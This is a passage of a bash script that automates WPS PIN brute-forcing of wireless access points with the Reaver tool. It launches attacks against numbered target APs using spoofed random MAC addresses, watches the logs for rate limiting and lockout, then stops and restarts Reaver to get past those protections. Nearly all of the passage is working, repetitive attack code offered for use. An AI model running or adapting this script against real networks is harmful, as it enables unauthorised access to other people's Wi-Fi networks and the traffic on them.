Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -vv -x 60 -r $RX46:$RY46 --pin=$WPS_PIN46 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R46 == n || $USE_R46 == N ]] && [[ $USE_LONG46 == y || $USE_LONG46 == Y ]] && [[ $USE_PIN46 == y || $USE_PIN46 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN46 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R46 == y || $USE_R46 == Y ]] && [[ $USE_LONG46 == y || $USE_LONG46 == Y ]] && [[ $USE_PIN46 == y || $USE_PIN46 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME46"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL46"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP46"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX46" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY46"
echo -e "$info Reaver live time                   = $yel$LIVE46 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME46-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL46 -b $TARGETAP46 -r $RX46:$RY46 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN46 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME46-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE46-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME46-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME46-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME46-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP46 (ESSID: $NMEWARN46)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE46 == n ] || [ $KEEP_FILE46 == N ]; then

          rm VARMAC_LOGS/$NAME46-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R47 == n || $USE_R47 == N ]] && [[ $USE_LONG47 == n || $USE_LONG47 == N ]] && [[ $USE_PIN47 == n || $USE_PIN47 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP47 (ESSID: $NMEWARN47)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R47 == y || $USE_R47 == Y ]] && [[ $USE_LONG47 == n || $USE_LONG47 == N ]] && [[ $USE_PIN47 == n || $USE_PIN47 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME47"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL47"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP47"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX47" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY47"
echo -e "$info Reaver live time                   = $yel$LIVE47 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME47-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL47 -b $TARGETAP47 -vv -x 60 -r $RX47:$RY47 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME47-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE47-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME47-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME47-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME47-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME47-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

